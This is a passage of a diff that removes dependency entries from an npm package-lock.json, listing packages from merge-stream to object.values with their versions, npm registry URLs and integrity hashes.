-      "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz",
-      "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w=="
-    },
-    "merge2": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.3.0.tgz",
-      "integrity": "sha512-2j4DAdlBOkiSZIsaXk4mTE3sRS02yBHAtfy127xRV3bQUFqXkjHCHLW6Scv7DwNRbIWNHH8zpnz9zMaKXIdvYw=="
-    },
-    "methods": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz",
-      "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4="
-    },
-    "microevent.ts": {
-      "version": "0.1.1",
-      "resolved": "https://registry.npmjs.org/microevent.ts/-/microevent.ts-0.1.1.tgz",
-      "integrity": "sha512-jo1OfR4TaEwd5HOrt5+tAZ9mqT4jmpNAusXtyfNzqVm9uiSYFZlKM1wYL4oU7azZW/PxQW53wM0S6OR1JHNa2g=="
-    },
-    "micromatch": {
-      "version": "3.1.10",
-      "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
-      "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
-      "requires": {
-        "arr-diff": "^4.0.0",
-        "array-unique": "^0.3.2",
-        "braces": "^2.3.1",
-        "define-property": "^2.0.2",
-        "extend-shallow": "^3.0.2",
-        "extglob": "^2.0.4",
-        "fragment-cache": "^0.2.1",
-        "kind-of": "^6.0.2",
-        "nanomatch": "^1.2.9",
-        "object.pick": "^1.3.0",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.2"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "6.0.3",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-          "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
-        }
-      }
-    },
-    "miller-rabin": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/miller-rabin/-/miller-rabin-4.0.1.tgz",
-      "integrity": "sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA==",
-      "requires": {
-        "bn.js": "^4.0.0",
-        "brorand": "^1.0.1"
-      }
-    },
-    "mime": {
-      "version": "2.4.4",
-      "resolved": "https://registry.npmjs.org/mime/-/mime-2.4.4.tgz",
-      "integrity": "sha512-LRxmNwziLPT828z+4YkNzloCFC2YM4wrB99k+AV5ZbEyfGNWfG8SO1FUXLmLDBSo89NrJZ4DIWeLjy1CHGhMGA=="
-    },
-    "mime-db": {
-      "version": "1.43.0",
-      "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.43.0.tgz",
-      "integrity": "sha512-+5dsGEEovYbT8UY9yD7eE4XTc4UwJ1jBYlgaQQF38ENsKR3wj/8q8RFZrF9WIZpB2V1ArTVFUva8sAul1NzRzQ=="
-    },
-    "mime-types": {
-      "version": "2.1.26",
-      "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.26.tgz",
-      "integrity": "sha512-01paPWYgLrkqAyrlDorC1uDwl2p3qZT7yl806vW7DvDoxwXi46jsjFbg+WdwotBIk6/MbEhO/dh5aZ5sNj/dWQ==",
-      "requires": {
-        "mime-db": "1.43.0"
-      }
-    },
-    "mimic-fn": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/mimic-fn/-/mimic-fn-2.1.0.tgz",
-      "integrity": "sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg=="
-    },
-    "min-indent": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.0.tgz",
-      "integrity": "sha1-z8RcN+nsDY8KDsPdTvf3w6vjklY="
-    },
-    "mini-css-extract-plugin": {
-      "version": "0.9.0",
-      "resolved": "https://registry.npmjs.org/mini-css-extract-plugin/-/mini-css-extract-plugin-0.9.0.tgz",
-      "integrity": "sha512-lp3GeY7ygcgAmVIcRPBVhIkf8Us7FZjA+ILpal44qLdSu11wmjKQ3d9k15lfD7pO4esu9eUIAW7qiYIBppv40A==",
-      "requires": {
-        "loader-utils": "^1.1.0",
-        "normalize-url": "1.9.1",
-        "schema-utils": "^1.0.0",
-        "webpack-sources": "^1.1.0"
-      },
-      "dependencies": {
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
-          "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        }
-      }
-    },
-    "minimalistic-assert": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz",
-      "integrity": "sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A=="
-    },
-    "minimalistic-crypto-utils": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz",
-      "integrity": "sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo="
-    },
-    "minimatch": {
-      "version": "3.0.4",
-      "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz",
-      "integrity": "sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==",
-      "requires": {
-        "brace-expansion": "^1.1.7"
-      }
-    },
-    "minimist": {
-      "version": "1.2.5",
-      "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz",
-      "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw=="
-    },
-    "minipass": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.1.1.tgz",
-      "integrity": "sha512-UFqVihv6PQgwj8/yTGvl9kPz7xIAY+R5z6XYjRInD3Gk3qx6QGSD6zEcpeG4Dy/lQnv1J6zv8ejV90hyYIKf3w==",
-      "requires": {
-        "yallist": "^4.0.0"
-      }
-    },
-    "minipass-collect": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz",
-      "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==",
-      "requires": {
-        "minipass": "^3.0.0"
-      }
-    },
-    "minipass-flush": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz",
-      "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==",
-      "requires": {
-        "minipass": "^3.0.0"
-      }
-    },
-    "minipass-pipeline": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.2.tgz",
-      "integrity": "sha512-3JS5A2DKhD2g0Gg8x3yamO0pj7YeKGwVlDS90pF++kxptwx/F+B//roxf9SqYil5tQo65bijy+dAuAFZmYOouA==",
-      "requires": {
-        "minipass": "^3.0.0"
-      }
-    },
-    "mississippi": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/mississippi/-/mississippi-3.0.0.tgz",
-      "integrity": "sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==",
-      "requires": {
-        "concat-stream": "^1.5.0",
-        "duplexify": "^3.4.2",
-        "end-of-stream": "^1.1.0",
-        "flush-write-stream": "^1.0.0",
-        "from2": "^2.1.0",
-        "parallel-transform": "^1.1.0",
-        "pump": "^3.0.0",
-        "pumpify": "^1.3.3",
-        "stream-each": "^1.1.0",
-        "through2": "^2.0.0"
-      }
-    },
-    "mixin-deep": {
-      "version": "1.3.2",
-      "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
-      "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
-      "requires": {
-        "for-in": "^1.0.2",
-        "is-extendable": "^1.0.1"
-      },
-      "dependencies": {
-        "is-extendable": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
-          "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
-          "requires": {
-            "is-plain-object": "^2.0.4"
-          }
-        }
-      }
-    },
-    "mixin-object": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz",
-      "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=",
-      "requires": {
-        "for-in": "^0.1.3",
-        "is-extendable": "^0.1.1"
-      },
-      "dependencies": {
-        "for-in": {
-          "version": "0.1.8",
-          "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz",
-          "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE="
-        }
-      }
-    },
-    "mkdirp": {
-      "version": "0.5.5",
-      "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
-      "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
-      "requires": {
-        "minimist": "^1.2.5"
-      }
-    },
-    "move-concurrently": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/move-concurrently/-/move-concurrently-1.0.1.tgz",
-      "integrity": "sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=",
-      "requires": {
-        "aproba": "^1.1.1",
-        "copy-concurrently": "^1.0.0",
-        "fs-write-stream-atomic": "^1.0.8",
-        "mkdirp": "^0.5.1",
-        "rimraf": "^2.5.4",
-        "run-queue": "^1.0.3"
-      }
-    },
-    "ms": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
-      "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
-    },
-    "multicast-dns": {
-      "version": "6.2.3",
-      "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz",
-      "integrity": "sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==",
-      "requires": {
-        "dns-packet": "^1.3.1",
-        "thunky": "^1.0.2"
-      }
-    },
-    "multicast-dns-service-types": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz",
-      "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE="
-    },
-    "mute-stream": {
-      "version": "0.0.8",
-      "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz",
-      "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA=="
-    },
-    "nan": {
-      "version": "2.14.0",
-      "resolved": "https://registry.npmjs.org/nan/-/nan-2.14.0.tgz",
-      "integrity": "sha512-INOFj37C7k3AfaNTtX8RhsTw7qRy7eLET14cROi9+5HAVbbHuIWUHEauBv5qT4Av2tWasiTY1Jw6puUNqRJXQg==",
-      "optional": true
-    },
-    "nanomatch": {
-      "version": "1.2.13",
-      "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz",
-      "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==",
-      "requires": {
-        "arr-diff": "^4.0.0",
-        "array-unique": "^0.3.2",
-        "define-property": "^2.0.2",
-        "extend-shallow": "^3.0.2",
-        "fragment-cache": "^0.2.1",
-        "is-windows": "^1.0.2",
-        "kind-of": "^6.0.2",
-        "object.pick": "^1.3.0",
-        "regex-not": "^1.0.0",
-        "snapdragon": "^0.8.1",
-        "to-regex": "^3.0.1"
-      },
-      "dependencies": {
-        "kind-of": {
-          "version": "6.0.3",
-          "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
-          "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
-        }
-      }
-    },
-    "natural-compare": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz",
-      "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc="
-    },
-    "negotiator": {
-      "version": "0.6.2",
-      "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.2.tgz",
-      "integrity": "sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw=="
-    },
-    "neo-async": {
-      "version": "2.6.1",
-      "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.1.tgz",
-      "integrity": "sha512-iyam8fBuCUpWeKPGpaNMetEocMt364qkCsfL9JuhjXX6dRnguRVOfk2GZaDpPjcOKiiXCPINZC1GczQ7iTq3Zw=="
-    },
-    "next-tick": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.0.0.tgz",
-      "integrity": "sha1-yobR/ogoFpsBICCOPchCS524NCw="
-    },
-    "nice-try": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/nice-try/-/nice-try-1.0.5.tgz",
-      "integrity": "sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ=="
-    },
-    "no-case": {
-      "version": "3.0.3",
-      "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.3.tgz",
-      "integrity": "sha512-ehY/mVQCf9BL0gKfsJBvFJen+1V//U+0HQMPrWct40ixE4jnv0bfvxDbWtAHL9EcaPEOJHVVYKoQn1TlZUB8Tw==",
-      "requires": {
-        "lower-case": "^2.0.1",
-        "tslib": "^1.10.0"
-      }
-    },
-    "node-forge": {
-      "version": "0.9.0",
-      "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.9.0.tgz",
-      "integrity": "sha512-7ASaDa3pD+lJ3WvXFsxekJQelBKRpne+GOVbLbtHYdd7pFspyeuJHnWfLplGf3SwKGbfs/aYl5V/JCIaHVUKKQ=="
-    },
-    "node-int64": {
-      "version": "0.4.0",
-      "resolved": "https://registry.npmjs.org/node-int64/-/node-int64-0.4.0.tgz",
-      "integrity": "sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs="
-    },
-    "node-libs-browser": {
-      "version": "2.2.1",
-      "resolved": "https://registry.npmjs.org/node-libs-browser/-/node-libs-browser-2.2.1.tgz",
-      "integrity": "sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==",
-      "requires": {
-        "assert": "^1.1.1",
-        "browserify-zlib": "^0.2.0",
-        "buffer": "^4.3.0",
-        "console-browserify": "^1.1.0",
-        "constants-browserify": "^1.0.0",
-        "crypto-browserify": "^3.11.0",
-        "domain-browser": "^1.1.1",
-        "events": "^3.0.0",
-        "https-browserify": "^1.0.0",
-        "os-browserify": "^0.3.0",
-        "path-browserify": "0.0.1",
-        "process": "^0.11.10",
-        "punycode": "^1.2.4",
-        "querystring-es3": "^0.2.0",
-        "readable-stream": "^2.3.3",
-        "stream-browserify": "^2.0.1",
-        "stream-http": "^2.7.2",
-        "string_decoder": "^1.0.0",
-        "timers-browserify": "^2.0.4",
-        "tty-browserify": "0.0.0",
-        "url": "^0.11.0",
-        "util": "^0.11.0",
-        "vm-browserify": "^1.0.1"
-      },
-      "dependencies": {
-        "punycode": {
-          "version": "1.4.1",
-          "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.4.1.tgz",
-          "integrity": "sha1-wNWmOycYgArY4esPpSachN1BhF4="
-        },
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          },
-          "dependencies": {
-            "string_decoder": {
-              "version": "1.1.1",
-              "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-              "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-              "requires": {
-                "safe-buffer": "~5.1.0"
-              }
-            }
-          }
-        },
-        "util": {
-          "version": "0.11.1",
-          "resolved": "https://registry.npmjs.org/util/-/util-0.11.1.tgz",
-          "integrity": "sha512-HShAsny+zS2TZfaXxD9tYj4HQGlBezXZMZuM/S5PKLLoZkShZiGk9o5CzukI1LVHZvjdvZ2Sj1aW/Ndn2NB/HQ==",
-          "requires": {
-            "inherits": "2.0.3"
-          },
-          "dependencies": {
-            "inherits": {
-              "version": "2.0.3",
-              "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
-              "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-            }
-          }
-        }
-      }
-    },
-    "node-modules-regexp": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/node-modules-regexp/-/node-modules-regexp-1.0.0.tgz",
-      "integrity": "sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA="
-    },
-    "node-notifier": {
-      "version": "5.4.3",
-      "resolved": "https://registry.npmjs.org/node-notifier/-/node-notifier-5.4.3.tgz",
-      "integrity": "sha512-M4UBGcs4jeOK9CjTsYwkvH6/MzuUmGCyTW+kCY7uO+1ZVr0+FHGdPdIf5CCLqAaxnRrWidyoQlNkMIIVwbKB8Q==",
-      "requires": {
-        "growly": "^1.3.0",
-        "is-wsl": "^1.1.0",
-        "semver": "^5.5.0",
-        "shellwords": "^0.1.1",
-        "which": "^1.3.0"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "node-releases": {
-      "version": "1.1.53",
-      "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.53.tgz",
-      "integrity": "sha512-wp8zyQVwef2hpZ/dJH7SfSrIPD6YoJz6BDQDpGEkcA0s3LpAQoxBIYmfIq6QAhC1DhwsyCgTaTTcONwX8qzCuQ=="
-    },
-    "normalize-package-data": {
-      "version": "2.5.0",
-      "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-2.5.0.tgz",
-      "integrity": "sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==",
-      "requires": {
-        "hosted-git-info": "^2.1.4",
-        "resolve": "^1.10.0",
-        "semver": "2 || 3 || 4 || 5",
-        "validate-npm-package-license": "^3.0.1"
-      },
-      "dependencies": {
-        "semver": {
-          "version": "5.7.1",
-          "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
-          "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
-        }
-      }
-    },
-    "normalize-path": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz",
-      "integrity": "sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=",
-      "requires": {
-        "remove-trailing-separator": "^1.0.1"
-      }
-    },
-    "normalize-range": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz",
-      "integrity": "sha1-LRDAa9/TEuqXd2laTShDlFa3WUI="
-    },
-    "normalize-url": {
-      "version": "1.9.1",
-      "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-1.9.1.tgz",
-      "integrity": "sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=",
-      "requires": {
-        "object-assign": "^4.0.1",
-        "prepend-http": "^1.0.0",
-        "query-string": "^4.1.0",
-        "sort-keys": "^1.0.0"
-      }
-    },
-    "npm-run-path": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-2.0.2.tgz",
-      "integrity": "sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=",
-      "requires": {
-        "path-key": "^2.0.0"
-      }
-    },
-    "nth-check": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz",
-      "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==",
-      "requires": {
-        "boolbase": "~1.0.0"
-      }
-    },
-    "num2fraction": {
-      "version": "1.2.2",
-      "resolved": "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz",
-      "integrity": "sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4="
-    },
-    "number-is-nan": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz",
-      "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0="
-    },
-    "nwsapi": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/nwsapi/-/nwsapi-2.2.0.tgz",
-      "integrity": "sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ=="
-    },
-    "oauth-sign": {
-      "version": "0.9.0",
-      "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz",
-      "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
-    },
-    "object-assign": {
-      "version": "4.1.1",
-      "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz",
-      "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM="
-    },
-    "object-copy": {
-      "version": "0.1.0",
-      "resolved": "https://registry.npmjs.org/object-copy/-/object-copy-0.1.0.tgz",
-      "integrity": "sha1-fn2Fi3gb18mRpBupde04EnVOmYw=",
-      "requires": {
-        "copy-descriptor": "^0.1.0",
-        "define-property": "^0.2.5",
-        "kind-of": "^3.0.3"
-      },
-      "dependencies": {
-        "define-property": {
-          "version": "0.2.5",
-          "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
-          "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=",
-          "requires": {
-            "is-descriptor": "^0.1.0"
-          }
-        }
-      }
-    },
-    "object-hash": {
-      "version": "2.0.3",
-      "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-2.0.3.tgz",
-      "integrity": "sha512-JPKn0GMu+Fa3zt3Bmr66JhokJU5BaNBIh4ZeTlaCBzrBsOeXzwcKKAK1tbLiPKgvwmPXsDvvLHoWh5Bm7ofIYg=="
-    },
-    "object-inspect": {
-      "version": "1.7.0",
-      "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.7.0.tgz",
-      "integrity": "sha512-a7pEHdh1xKIAgTySUGgLMx/xwDZskN1Ud6egYYN3EdRW4ZMPNEDUTF+hwy2LUC+Bl+SyLXANnwz/jyh/qutKUw=="
-    },
-    "object-is": {
-      "version": "1.1.2",
-      "resolved": "https://registry.npmjs.org/object-is/-/object-is-1.1.2.tgz",
-      "integrity": "sha512-5lHCz+0uufF6wZ7CRFWJN3hp8Jqblpgve06U5CMQ3f//6iDjPr2PEo9MWCjEssDsa+UZEL4PkFpr+BMop6aKzQ==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.5"
-      }
-    },
-    "object-keys": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
-      "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="
-    },
-    "object-path": {
-      "version": "0.11.4",
-      "resolved": "https://registry.npmjs.org/object-path/-/object-path-0.11.4.tgz",
-      "integrity": "sha1-NwrnUvvzfePqcKhhwju6iRVpGUk="
-    },
-    "object-visit": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/object-visit/-/object-visit-1.0.1.tgz",
-      "integrity": "sha1-95xEk68MU3e1n+OdOV5BBC3QRbs=",
-      "requires": {
-        "isobject": "^3.0.0"
-      }
-    },
-    "object.assign": {
-      "version": "4.1.0",
-      "resolved": "https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz",
-      "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==",
-      "requires": {
-        "define-properties": "^1.1.2",
-        "function-bind": "^1.1.1",
-        "has-symbols": "^1.0.0",
-        "object-keys": "^1.0.11"
-      }
-    },
-    "object.entries": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/object.entries/-/object.entries-1.1.1.tgz",
-      "integrity": "sha512-ilqR7BgdyZetJutmDPfXCDffGa0/Yzl2ivVNpbx/g4UeWrCdRnFDUBrKJGLhGieRHDATnyZXWBeCb29k9CJysQ==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.0-next.1",
-        "function-bind": "^1.1.1",
-        "has": "^1.0.3"
-      }
-    },
-    "object.fromentries": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/object.fromentries/-/object.fromentries-2.0.2.tgz",
-      "integrity": "sha512-r3ZiBH7MQppDJVLx6fhD618GKNG40CZYH9wgwdhKxBDDbQgjeWGGd4AtkZad84d291YxvWe7bJGuE65Anh0dxQ==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.0-next.1",
-        "function-bind": "^1.1.1",
-        "has": "^1.0.3"
-      }
-    },
-    "object.getownpropertydescriptors": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.0.tgz",
-      "integrity": "sha512-Z53Oah9A3TdLoblT7VKJaTDdXdT+lQO+cNpKVnya5JDe9uLvzu1YyY1yFDFrcxrlRgWrEFH0jJtD/IbuwjcEVg==",
-      "requires": {
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.17.0-next.1"
-      }
-    },
-    "object.pick": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz",
-      "integrity": "sha1-h6EKxMFpS9Lhy/U1kaZhQftd10c=",
-      "requires": {
-        "isobject": "^3.0.1"
-      }
-    },
-    "object.values": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.1.tgz",
